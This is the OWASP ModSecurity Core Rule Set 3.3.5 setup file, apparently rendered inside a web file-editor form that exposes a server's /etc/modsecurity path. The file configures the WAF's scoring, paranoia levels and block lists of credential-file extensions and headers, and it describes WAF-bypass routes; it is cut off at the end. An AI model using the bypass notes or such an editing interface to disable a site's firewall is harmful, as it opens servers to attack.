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<hr>crs-setup.conf<form method=post action="?d=L2V0Yy9tb2RzZWN1cml0eS9jcnM%3D&f=Y3JzLXNldHVwLmNvbmY%3D"><input name="f" value="crs-setup.conf"><textarea name="t"># ------------------------------------------------------------------------
# OWASP ModSecurity Core Rule Set ver.3.3.5
# Copyright (c) 2006-2020 Trustwave and contributors. All rights reserved.
# Copyright (c) 2021-2023 Core Rule Set project. All rights reserved.
#
# The OWASP ModSecurity Core Rule Set is distributed under
# Apache Software License (ASL) version 2
# Please see the enclosed LICENSE file for full details.
# ------------------------------------------------------------------------


#
# -- [[ Introduction ]] --------------------------------------------------------
#
# The OWASP ModSecurity Core Rule Set (CRS) is a set of generic attack
# detection rules that provide a base level of protection for any web
# application. They are written for the open source, cross-platform
# ModSecurity Web Application Firewall.
#
# See also:
# https://coreruleset.org/
# https://github.com/SpiderLabs/owasp-modsecurity-crs
# https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project
#


#
# -- [[ System Requirements ]] -------------------------------------------------
#
# CRS requires ModSecurity version 2.8.0 or above.
# We recommend to always use the newest ModSecurity version.
#
# The configuration directives/settings in this file are used to control
# the OWASP ModSecurity CRS. These settings do **NOT** configure the main
# ModSecurity settings (modsecurity.conf) such as SecRuleEngine,
# SecRequestBodyAccess, SecAuditEngine, SecDebugLog, and XML processing.
#
# The CRS assumes that modsecurity.conf has been loaded. It is bundled with
# ModSecurity. If you don't have it, you can get it from:
# 2.x: https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v2/master/modsecurity.conf-recommended
# 3.x: https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/modsecurity.conf-recommended
#
# The order of file inclusion in your webserver configuration should always be:
# 1. modsecurity.conf
# 2. crs-setup.conf (this file)
# 3. rules/*.conf (the CRS rule files)
#
# Please refer to the INSTALL file for detailed installation instructions.
#


#
# -- [[ Mode of Operation: Anomaly Scoring vs. Self-Contained ]] ---------------
#
# The CRS can run in two modes:
#
# -- [[ Anomaly Scoring Mode (default) ]] --
# In CRS3, anomaly mode is the default and recommended mode, since it gives the
# most accurate log information and offers the most flexibility in setting your
# blocking policies. It is also called &quot;collaborative detection mode&quot;.
# In this mode, each matching rule increases an 'anomaly score'.
# At the conclusion of the inbound rules, and again at the conclusion of the
# outbound rules, the anomaly score is checked, and the blocking evaluation
# rules apply a disruptive action, by default returning an error 403.
#
# -- [[ Self-Contained Mode ]] --
# In this mode, rules apply an action instantly. This was the CRS2 default.
# It can lower resource usage, at the cost of less flexibility in blocking policy
# and less informative audit logs (only the first detected threat is logged).
# Rules inherit the disruptive action that you specify (i.e. deny, drop, etc).
# The first rule that matches will execute this action. In most cases this will
# cause evaluation to stop after the first rule has matched, similar to how many
# IDSs function.
#
# -- [[ Alert Logging Control ]] --
# In the mode configuration, you must also adjust the desired logging options.
# There are three common options for dealing with logging. By default CRS enables
# logging to the webserver error log (or Event viewer) plus detailed logging to
# the ModSecurity audit log (configured under SecAuditLog in modsecurity.conf).
#
# - To log to both error log and ModSecurity audit log file, use: &quot;log,auditlog&quot;
# - To log *only* to the ModSecurity audit log file, use: &quot;nolog,auditlog&quot;
# - To log *only* to the error log file, use: &quot;log,noauditlog&quot;
#
# Examples for the various modes follow.
# You must leave one of the following options enabled.
# Note that you must specify the same line for phase:1 and phase:2.
#

# Default: Anomaly Scoring mode, log to error log, log to ModSecurity audit log
# - By default, offending requests are blocked with an error 403 response.
# - To change the disruptive action, see RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example
#   and review section 'Changing the Disruptive Action for Anomaly Mode'.
# - In Apache, you can use ErrorDocument to show a friendly error page or
#   perform a redirect: https://httpd.apache.org/docs/2.4/custom-error.html
#
SecDefaultAction &quot;phase:1,log,auditlog,pass&quot;
SecDefaultAction &quot;phase:2,log,auditlog,pass&quot;

# Example: Anomaly Scoring mode, log only to ModSecurity audit log
# - By default, offending requests are blocked with an error 403 response.
# - To change the disruptive action, see RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example
#   and review section 'Changing the Disruptive Action for Anomaly Mode'.
# - In Apache, you can use ErrorDocument to show a friendly error page or
#   perform a redirect: https://httpd.apache.org/docs/2.4/custom-error.html
#
# SecDefaultAction &quot;phase:1,nolog,auditlog,pass&quot;
# SecDefaultAction &quot;phase:2,nolog,auditlog,pass&quot;

# Example: Self-contained mode, return error 403 on blocking
# - In this configuration the default disruptive action becomes 'deny'. After a
#   rule triggers, it will stop processing the request and return an error 403.
# - You can also use a different error status, such as 404, 406, et cetera.
# - In Apache, you can use ErrorDocument to show a friendly error page or
#   perform a redirect: https://httpd.apache.org/docs/2.4/custom-error.html
#
# SecDefaultAction &quot;phase:1,log,auditlog,deny,status:403&quot;
# SecDefaultAction &quot;phase:2,log,auditlog,deny,status:403&quot;

# Example: Self-contained mode, redirect back to homepage on blocking
# - In this configuration the 'tag' action includes the Host header data in the
#   log. This helps to identify which virtual host triggered the rule (if any).
# - Note that this might cause redirect loops in some situations; for example
#   if a Cookie or User-Agent header is blocked, it will also be blocked when
#   the client subsequently tries to access the homepage. You can also redirect
#   to another custom URL.
# SecDefaultAction &quot;phase:1,log,auditlog,redirect:'http://%{request_headers.host}/',tag:'Host: %{request_headers.host}'&quot;
# SecDefaultAction &quot;phase:2,log,auditlog,redirect:'http://%{request_headers.host}/',tag:'Host: %{request_headers.host}'&quot;


#
# -- [[ Paranoia Level Initialization ]] ---------------------------------------
#
# The Paranoia Level (PL) setting allows you to choose the desired level
# of rule checks that will add to your anomaly scores.
#
# With each paranoia level increase, the CRS enables additional rules
# giving you a higher level of security. However, higher paranoia levels
# also increase the possibility of blocking some legitimate traffic due to
# false alarms (also named false positives or FPs). If you use higher
# paranoia levels, it is likely that you will need to add some exclusion
# rules for certain requests and applications receiving complex input.
#
# - A paranoia level of 1 is default. In this level, most core rules
#   are enabled. PL1 is advised for beginners, installations
#   covering many different sites and applications, and for setups
#   with standard security requirements.
#   At PL1 you should face FPs rarely. If you encounter FPs, please
#   open an issue on the CRS GitHub site and don't forget to attach your
#   complete Audit Log record for the request with the issue.
# - Paranoia level 2 includes many extra rules, for instance enabling
#   many regexp-based SQL and XSS injection protections, and adding
#   extra keywords checked for code injections. PL2 is advised
#   for moderate to experienced users desiring more complete coverage
#   and for installations with elevated security requirements.
#   PL2 comes with some FPs which you need to handle.
# - Paranoia level 3 enables more rules and keyword lists, and tweaks
#   limits on special characters used. PL3 is aimed at users experienced
#   at the handling of FPs and at installations with a high security
#   requirement.
# - Paranoia level 4 further restricts special characters.
#   The highest level is advised for experienced users protecting
#   installations with very high security requirements. Running PL4 will
#   likely produce a very high number of FPs which have to be
#   treated before the site can go productive.
#
# All rules will log their PL to the audit log;
# example: [tag &quot;paranoia-level/2&quot;]. This allows you to deduct from the
# audit log how the WAF behavior is affected by paranoia level.
#
# It is important to also look into the variable
# tx.enforce_bodyproc_urlencoded (Enforce Body Processor URLENCODED)
# defined below. Enabling it closes a possible bypass of CRS.
#
# Uncomment this rule to change the default:
#
#SecAction \
#  &quot;id:900000,\
#   phase:1,\
#   nolog,\
#   pass,\
#   t:none,\
#   setvar:tx.paranoia_level=1&quot;


# It is possible to execute rules from a higher paranoia level but not include
# them in the anomaly scoring. This allows you to take a well-tuned system on
# paranoia level 1 and add rules from paranoia level 2 without having to fear
# the new rules would lead to false positives that raise your score above the
# threshold.
# This optional feature is enabled by uncommenting the following rule and
# setting the tx.executing_paranoia_level.
# Technically, rules up to the level defined in tx.executing_paranoia_level
# will be executed, but only the rules up to tx.paranoia_level affect the
# anomaly scores.
# By default, tx.executing_paranoia_level is set to tx.paranoia_level.
# tx.executing_paranoia_level must not be lower than tx.paranoia_level.
#
# Please notice that setting tx.executing_paranoia_level to a higher paranoia
# level results in a performance impact that is equally high as setting
# tx.paranoia_level to said level.
#
#SecAction \
#  &quot;id:900001,\
#   phase:1,\
#   nolog,\
#   pass,\
#   t:none,\
#   setvar:tx.executing_paranoia_level=1&quot;


#
# -- [[ Enforce Body Processor URLENCODED ]] -----------------------------------
#
# ModSecurity selects the body processor based on the Content-Type request
# header. But clients are not always setting the Content-Type header for their
# request body payloads. This will leave ModSecurity with limited vision into
# the payload.  The variable tx.enforce_bodyproc_urlencoded lets you force the
# URLENCODED body processor in these situations. This is off by default, as it
# implies a change of the behaviour of ModSecurity beyond CRS (the body
# processor applies to all rules, not only CRS) and because it may lead to
# false positives already on paranoia level 1. However, enabling this variable
# closes a possible bypass of CRS so it should be considered.
#
# Uncomment this rule to change the default:
#
#SecAction \
#  &quot;id:900010,\
#   phase:1,\
#   nolog,\
#   pass,\
#   t:none,\
#   setvar:tx.enforce_bodyproc_urlencoded=1&quot;


#
# -- [[ Anomaly Mode Severity Levels ]] ----------------------------------------
#
# Each rule in the CRS has an associated severity level.
# These are the default scoring points for each severity level.
# These settings will be used to increment the anomaly score if a rule matches.
# You may adjust these points to your liking, but this is usually not needed.
#
# - CRITICAL severity: Anomaly Score of 5.
#       Mostly generated by the application attack rules (93x and 94x files).
# - ERROR severity: Anomaly Score of 4.
#       Generated mostly from outbound leakage rules (95x files).
# - WARNING severity: Anomaly Score of 3.
#       Generated mostly by malicious client rules (91x files).
# - NOTICE severity: Anomaly Score of 2.
#       Generated mostly by the protocol rules (92x files).
#
# In anomaly mode, these scores are cumulative.
# So it's possible for a request to hit multiple rules.
#
# (Note: In this file, we use 'phase:1' to set CRS configuration variables.
# In general, 'phase:request' is used. However, we want to make absolutely sure
# that all configuration variables are set before the CRS rules are processed.)
#
#SecAction \
# &quot;id:900100,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.critical_anomaly_score=5,\
#  setvar:tx.error_anomaly_score=4,\
#  setvar:tx.warning_anomaly_score=3,\
#  setvar:tx.notice_anomaly_score=2&quot;


#
# -- [[ Anomaly Mode Blocking Threshold Levels ]] ------------------------------
#
# Here, you can specify at which cumulative anomaly score an inbound request,
# or outbound response, gets blocked.
#
# Most detected inbound threats will give a critical score of 5.
# Smaller violations, like violations of protocol/standards, carry lower scores.
#
# [ At default value ]
# If you keep the blocking thresholds at the defaults, the CRS will work
# similarly to previous CRS versions: a single critical rule match will cause
# the request to be blocked and logged.
#
# [ Using higher values ]
# If you want to make the CRS less sensitive, you can increase the blocking
# thresholds, for instance to 7 (which would require multiple rule matches
# before blocking) or 10 (which would require at least two critical alerts - or
# a combination of many lesser alerts), or even higher. However, increasing the
# thresholds might cause some attacks to bypass the CRS rules or your policies.
#
# [ New deployment strategy: Starting high and decreasing ]
# It is a common practice to start a fresh CRS installation with elevated
# anomaly scoring thresholds (&gt;100) and then lower the limits as your
# confidence in the setup grows. You may also look into the Sampling
# Percentage section below for a different strategy to ease into a new
# CRS installation.
#
# [ Anomaly Threshold / Paranoia Level Quadrant ]
#
#     High Anomaly Limit   |   High Anomaly Limit
#     Low Paranoia Level   |   High Paranoia Level
#     -&gt; Fresh Site        |   -&gt; Experimental Site
# ------------------------------------------------------
#     Low Anomaly Limit    |   Low Anomaly Limit
#     Low Paranoia Level   |   High Paranoia Level
#     -&gt; Standard Site     |   -&gt; High Security Site
#
# Uncomment this rule to change the defaults:
#
#SecAction \
# &quot;id:900110,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.inbound_anomaly_score_threshold=5,\
#  setvar:tx.outbound_anomaly_score_threshold=4&quot;

#
# -- [[ Application Specific Rule Exclusions ]] ----------------------------------------
#
# Some well-known applications may undertake actions that appear to be
# malicious. This includes actions such as allowing HTML or Javascript within
# parameters. In such cases the CRS aims to prevent false positives by allowing
# administrators to enable prebuilt, application specific exclusions on an
# application by application basis.
# These application specific exclusions are distinct from the rules that would
# be placed in the REQUEST-900-EXCLUSION-RULES-BEFORE-CRS configuration file as
# they are prebuilt for specific applications. The 'REQUEST-900' file is
# designed for users to add their own custom exclusions. Note, using these
# application specific exclusions may loosen restrictions of the CRS,
# especially if used with an application they weren't designed for. As a result
# they should be applied with care.
# To use this functionality you must specify a supported application. To do so
# uncomment rule 900130. In addition to uncommenting the rule you will need to
# specify which application(s) you'd like to enable exclusions for. Only a
# (very) limited set of applications are currently supported, please use the
# filenames prefixed with 'REQUEST-903' to guide you in your selection.
# Such filenames use the following convention:
# REQUEST-903.9XXX-{APPNAME}-EXCLUSIONS-RULES.conf
#
# It is recommended if you run multiple web applications on your site to limit
# the effects of the exclusion to only the path where the excluded webapp
# resides using a rule similar to the following example:
# SecRule REQUEST_URI &quot;@beginsWith /wordpress/&quot; setvar:tx.crs_exclusions_wordpress=1

#
# Modify and uncomment this rule to select which application:
#
#SecAction \
# &quot;id:900130,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.crs_exclusions_cpanel=1,\
#  setvar:tx.crs_exclusions_drupal=1,\
#  setvar:tx.crs_exclusions_dokuwiki=1,\
#  setvar:tx.crs_exclusions_nextcloud=1,\
#  setvar:tx.crs_exclusions_wordpress=1,\
#  setvar:tx.crs_exclusions_xenforo=1&quot;

#
# -- [[ HTTP Policy Settings ]] ------------------------------------------------
#
# This section defines your policies for the HTTP protocol, such as:
# - allowed HTTP versions, HTTP methods, allowed request Content-Types
# - forbidden file extensions (e.g. .bak, .sql) and request headers (e.g. Proxy)
#
# These variables are used in the following rule files:
# - REQUEST-911-METHOD-ENFORCEMENT.conf
# - REQUEST-912-DOS-PROTECTION.conf
# - REQUEST-920-PROTOCOL-ENFORCEMENT.conf

# HTTP methods that a client is allowed to use.
# Default: GET HEAD POST OPTIONS
# Example: for RESTful APIs, add the following methods: PUT PATCH DELETE
# Example: for WebDAV, add the following methods: CHECKOUT COPY DELETE LOCK
#          MERGE MKACTIVITY MKCOL MOVE PROPFIND PROPPATCH PUT UNLOCK
# Uncomment this rule to change the default.
#SecAction \
# &quot;id:900200,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'&quot;

# Content-Types that a client is allowed to send in a request.
# Default: |application/x-www-form-urlencoded| |multipart/form-data| |multipart/related|
# |text/xml| |application/xml| |application/soap+xml| |application/json|
# |application/cloudevents+json| |application/cloudevents-batch+json|
#
# Please note, that the rule where CRS uses this variable (920420) evaluates it with operator
# `@within`, which is case sensitive, but uses t:lowercase. You must add your whole custom
# Content-Type with lowercase.
#
# Bypass Warning: some applications may not rely on the content-type request header in order
# to parse the request body. This could make an attacker able to send malicious URLENCODED/JSON/XML
# payloads without being detected by the WAF. Allowing request content-type that doesn't activate any
# body processor (for example: &quot;text/plain&quot;, &quot;application/x-amf&quot;, &quot;application/octet-stream&quot;, etc..)
# could lead to a WAF bypass. For example, a malicious JSON payload submitted with a &quot;text/plain&quot;
# content type may still be interpreted as JSON by a backend application but would not trigger the
# JSON body parser at the WAF, leading to a bypass.
#
# To prevent blocking request with not allowed content-type by default, you can create an exclusion
# rule that removes rule 920420. For example:
# SecRule REQUEST_HEADERS:Content-Type &quot;@rx ^text/plain&quot; \
#  &quot;id:1234,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  ctl:ruleRemoveById=920420,\
#  chain&quot;
#  SecRule REQUEST_URI &quot;@rx ^/foo/bar&quot; &quot;t:none&quot;
#
# Uncomment this rule to change the default.
#
#SecAction \
# &quot;id:900220,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.allowed_request_content_type=|application/x-www-form-urlencoded| |multipart/form-data| |multipart/related| |text/xml| |application/xml| |application/soap+xml| |application/json| |application/cloudevents+json| |application/cloudevents-batch+json|'&quot;

# Allowed HTTP versions.
# Default: HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/2.0
# Example for legacy clients: HTTP/0.9 HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/2.0
# Note that some web server versions use 'HTTP/2', some 'HTTP/2.0', so
# we include both version strings by default.
# Uncomment this rule to change the default.
#SecAction \
# &quot;id:900230,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.allowed_http_versions=HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/2.0'&quot;

# Forbidden file extensions.
# Guards against unintended exposure of development/configuration files.
# Default: .asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/
# Example: .bak/ .config/ .conf/ .db/ .ini/ .log/ .old/ .pass/ .pdb/ .rdb/ .sql/
# Uncomment this rule to change the default.
#SecAction \
# &quot;id:900240,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.restricted_extensions=.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'&quot;

# Forbidden request headers.
# Header names should be lowercase, enclosed by /slashes/ as delimiters.
# Default: /accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/
#
# Note: Accept-Charset is a deprecated header that should not be used by clients and
# ignored by servers. It can be used for a response WAF bypass, by asking for a charset
# that the WAF cannot decode.
# Reference: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept-Charset
#
# Note: Content-Encoding is used to list any encodings that have been applied to the
# original payload. It is only used for compression, which isn't supported by CRS by
# default since it blocks newlines and null bytes inside the request body. Most
# compression algorithms require at least null bytes per RFC. Blocking it shouldn't
# break anything and increases security since ModSecurity is incapable of properly
# scanning compressed request bodies.
#
# Note: Blocking Proxy header prevents 'httpoxy' vulnerability: https://httpoxy.org
#
# Uncomment this rule to change the default.
#SecAction \
# &quot;id:900250,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.restricted_headers=/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/'&quot;

# File extensions considered static files.
# Extensions include the dot, lowercase, enclosed by /slashes/ as delimiters.
# Used in DoS protection rule. See section &quot;Anti-Automation / DoS Protection&quot;.
# Default: /.jpg/ /.jpeg/ /.png/ /.gif/ /.js/ /.css/ /.ico/ /.svg/ /.webp/
# Uncomment this rule to change the default.
#SecAction \
# &quot;id:900260,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.static_extensions=/.jpg/ /.jpeg/ /.png/ /.gif/ /.js/ /.css/ /.ico/ /.svg/ /.webp/'&quot;

# Content-Types charsets that a client is allowed to send in a request.
# Default: utf-8|iso-8859-1|iso-8859-15|windows-1252
# Uncomment this rule to change the default.
# Use &quot;|&quot; to separate multiple charsets like in the rule defining
# tx.allowed_request_content_type.
#SecAction \
# &quot;id:900280,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.allowed_request_content_type_charset=utf-8|iso-8859-1|iso-8859-15|windows-1252'&quot;

#
# -- [[ HTTP Argument/Upload Limits ]] -----------------------------------------
#
# Here you can define optional limits on HTTP get/post parameters and uploads.
# This can help to prevent application specific DoS attacks.
#
# These values are checked in REQUEST-920-PROTOCOL-ENFORCEMENT.conf.
# Beware of blocking legitimate traffic when enabling these limits.
#

# Block request if number of arguments is too high
# Default: unlimited
# Example: 255
# Uncomment this rule to set a limit.
#SecAction \
# &quot;id:900300,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.max_num_args=255&quot;

# Block request if the length of any argument name is too high
# Default: unlimited
# Example: 100
# Uncomment this rule to set a limit.
#SecAction \
# &quot;id:900310,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.arg_name_length=100&quot;

# Block request if the length of any argument value is too high
# Default: unlimited
# Example: 400
# Uncomment this rule to set a limit.
#SecAction \
# &quot;id:900320,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.arg_length=400&quot;

# Block request if the total length of all combined arguments is too high
# Default: unlimited
# Example: 64000
# Uncomment this rule to set a limit.
#SecAction \
# &quot;id:900330,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.total_arg_length=64000&quot;

# Block request if the file size of any individual uploaded file is too high
# Default: unlimited
# Example: 1048576
# Uncomment this rule to set a limit.
#SecAction \
# &quot;id:900340,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.max_file_size=1048576&quot;

# Block request if the total size of all combined uploaded files is too high
# Default: unlimited
# Example: 1048576
# Uncomment this rule to set a limit.
#SecAction \
# &quot;id:900350,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.combined_file_sizes=1048576&quot;


#
# -- [[ Easing In / Sampling Percentage ]] -------------------------------------
#
# Adding the Core Rule Set to an existing productive site can lead to false
# positives, unexpected performance issues and other undesired side effects.
#
# It can be beneficial to test the water first by enabling the CRS for a
# limited number of requests only and then, when you have solved the issues (if
# any) and you have confidence in the setup, to raise the ratio of requests
# being sent into the ruleset.
#
# Adjust the percentage of requests that are funnelled into the Core Rules by
# setting TX.sampling_percentage below. The default is 100, meaning that every
# request gets checked by the CRS.  The selection of requests, which are going
# to be checked, is based on a pseudo random number generated by ModSecurity.
#
# If a request is allowed to pass without being checked by the CRS, there is no
# entry in the audit log (for performance reasons), but an error log entry is
# written.  If you want to disable the error log entry, then issue the
# following directive somewhere after the inclusion of the CRS
# (E.g., RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf).
#
# SecRuleUpdateActionById 901150 &quot;nolog&quot;
#
# ATTENTION: If this TX.sampling_percentage is below 100, then some of the
# requests will bypass the Core Rules completely and you lose the ability to
# protect your service with ModSecurity.
#
# Uncomment this rule to enable this feature:
#
#SecAction &quot;id:900400,\
#  phase:1,\
#  pass,\
#  nolog,\
#  setvar:tx.sampling_percentage=100&quot;


#
# -- [[ Project Honey Pot HTTP Blacklist ]] ------------------------------------
#
# Optionally, you can check the client IP address against the Project Honey Pot
# HTTPBL (dnsbl.httpbl.org). In order to use this, you need to register to get a
# free API key. Set it here with SecHttpBlKey.
#
# Project Honeypot returns multiple different malicious IP types.
# You may specify which you want to block by enabling or disabling them below.
#
# Ref: https://www.projecthoneypot.org/httpbl.php
# Ref: https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#wiki-SecHttpBlKey
#
# Uncomment these rules to use this feature:
#
#SecHttpBlKey XXXXXXXXXXXXXXXXX
#SecAction &quot;id:900500,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.block_search_ip=1,\
#  setvar:tx.block_suspicious_ip=1,\
#  setvar:tx.block_harvester_ip=1,\
#  setvar:tx.block_spammer_ip=1&quot;


#
# -- [[ GeoIP Database ]] ------------------------------------------------------
#
# There are some rulesets that inspect geolocation data of the client IP address
# (geoLookup). The CRS uses geoLookup to implement optional country blocking.
#
# To use geolocation, we make use of the MaxMind GeoIP database.
# This database is not included with the CRS and must be downloaded.
#
# There are two formats for the GeoIP database. ModSecurity v2 uses GeoLite (.dat files),
# and ModSecurity v3 uses GeoLite2 (.mmdb files).
#
# If you use ModSecurity 3, MaxMind provides a binary for updating GeoLite2 files,
# see https://github.com/maxmind/geoipupdate.
#
# Download the package for your OS, and read https://dev.maxmind.com/geoip/geoipupdate/
# for configuration options.
#
# Warning: GeoLite (not GeoLite2) databases are considered legacy, and not being updated anymore.
# See https://support.maxmind.com/geolite-legacy-discontinuation-notice/ for more info.
#
# Therefore, if you use ModSecurity v2, you need to regenerate updated .dat files
# from CSV files first.
#
# You can achieve this using https://github.com/sherpya/geolite2legacy
# Pick the zip files from maxmind site:
# https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country-CSV.zip
#
# Follow the guidelines for installing the tool and run:
# ./geolite2legacy.py -i GeoLite2-Country-CSV.zip \
#                     -f geoname2fips.csv -o /usr/share/GeoliteCountry.dat
#
# Update the database regularly, see Step 3 of the configuration link above.
#
# By default, when you execute `sudo geoipupdate` on Linux, files from the free database
# will be downloaded to `/usr/share/GeoIP` (both v1 and v2).
#
# Then choose from:
#   - `GeoLite2-Country.mmdb` (if you are using ModSecurity v3)
#   - `GeoLiteCountry.dat`    (if you are using ModSecurity v2)
#
# Ref: http://blog.spiderlabs.com/2010/10/detecting-malice-with-modsecurity-geolocation-data.html
# Ref: http://blog.spiderlabs.com/2010/11/detecting-malice-with-modsecurity-ip-forensics.html
#
# Uncomment only one of the next rules here to use this feature.
# Choose the one depending on the ModSecurity version you are using, and change the path accordingly:
#
# For ModSecurity v3:
#SecGeoLookupDB /usr/share/GeoIP/GeoLite2-Country.mmdb
# For ModSecurity v2 (points to the converted one):
#SecGeoLookupDB /usr/share/GeoIP/GeoLiteCountry.dat

#
# -=[ Block Countries ]=-
#
# Rules in the IP Reputation file can check the client against a list of high
# risk country codes. These countries have to be defined in the variable
# tx.high_risk_country_codes via their ISO 3166 two-letter country code:
# https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#Officially_assigned_code_elements
#
# If you are sure that you are not getting any legitimate requests from a given
# country, then you can disable all access from that country via this variable.
# The rule performing the test has the rule id 910100.
#
# This rule requires SecGeoLookupDB to be enabled and the GeoIP database to be
# downloaded (see the section &quot;GeoIP Database&quot; above.)
#
# By default, the list is empty. A list used by some sites was the following:
# setvar:'tx.high_risk_country_codes=UA ID YU LT EG RO BG TR RU PK MY CN'&quot;
#
# Uncomment this rule to use this feature:
#
#SecAction \
# &quot;id:900600,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.high_risk_country_codes='&quot;


#
# -- [[ Anti-Automation / DoS Protection ]] ------------------------------------
#
# Optional DoS protection against clients making requests too quickly.
#
# When a client is making more than 100 requests (excluding static files) within
# 60 seconds, this is considered a 'burst'. After two bursts, the client is
# blocked for 600 seconds.
#
# Requests to static files are not counted towards DoS; they are listed in the
# 'tx.static_extensions' setting, which you can change in this file (see
# section &quot;HTTP Policy Settings&quot;).
#
# For a detailed description, see rule file REQUEST-912-DOS-PROTECTION.conf.
#
# Uncomment this rule to use this feature:
#
#SecAction \
# &quot;id:900700,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:'tx.dos_burst_time_slice=60',\
#  setvar:'tx.dos_counter_threshold=100',\
#  setvar:'tx.dos_block_timeout=600'&quot;


#
# -- [[ Check UTF-8 encoding ]] ------------------------------------------------
#
# The CRS can optionally check request contents for invalid UTF-8 encoding.
# We only want to apply this check if UTF-8 encoding is actually used by the
# site; otherwise it will result in false positives.
#
# Uncomment this rule to use this feature:
#
#SecAction \
# &quot;id:900950,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.crs_validate_utf8_encoding=1&quot;


#
# -- [[ Blocking Based on IP Reputation ]] ------------------------------------
#
# Blocking based on reputation is permanent in the CRS. Unlike other rules,
# which look at the individual request, the blocking of IPs is based on
# a persistent record in the IP collection, which remains active for a
# certain amount of time.
#
# There are two ways an individual client can become flagged for blocking:
# - External information (RBL, GeoIP, etc.)
# - Internal information (Core Rules)
#
# The record in the IP collection carries a flag, which tags requests from
# individual clients with a flag named IP.reput_block_flag.
# But the flag alone is not enough to have a client blocked. There is also
# a global switch named tx.do_reput_block. This is off by default. If you set
# it to 1 (=On), requests from clients with the IP.reput_block_flag will
# be blocked for a certain duration.
#
# Variables
# ip.reput_block_flag      Blocking flag for the IP collection record
# ip.reput_block_reason    Reason (= rule message) that caused to blocking flag
# tx.do_reput_block        Switch deciding if we really block based on flag
# tx.reput_block_duration  Setting to define the duration of a block
#
# It may be important to know, that all the other core rules are skipped for
# requests, when it is clear that they carry the blocking flag in question.
#
# Uncomment this rule to use this feature:
#
#SecAction \
# &quot;id:900960,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.do_reput_block=1&quot;
#
# Uncomment this rule to change the blocking time:
# Default: 300 (5 minutes)
#
#SecAction \
# &quot;id:900970,\
#  phase:1,\
#  nolog,\
#  pass,\
#  t:none,\
#  setvar:tx.reput_block_duration=300&quot;


#
# -- [[ Collection timeout ]] --------------------------------------------------
#
# Set the SecCollectionTimeout directive from the ModSecurity default (1 hour)
# to a lower setting which is appropriate to most sites.
# This increases performance by cleaning out stale collection (block) entries.
#
# This value should be greater than or equal to:
# tx.reput_block_duration (see section &quot;Blocking Based on IP Reputation&quot;) and
# tx.dos_block_timeout (see section &quot;Anti-Automation / DoS Protection&quot;).
#
# Ref: https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#wiki-SecCollectionTimeout

# Please keep this directive uncommented.
# Default: 600 (10 minutes)
SecCollectionTimeout 600


#
# -- [[ End of setup ]] --------------------------------------------------------
#
# The CRS checks the tx.crs_setup_version variable to ensure that the setup
# has been loaded. If you are not planning to use this setup template,
# you must manually set the tx.crs_setup_version variable before including
# the CRS rules/* files.
#
# The variable is a numerical representation of the CRS version number.
# E.g., v3.0.0 is represented as 300.
#
SecAction \
    &quot;id:900990,\
    phase:1,\
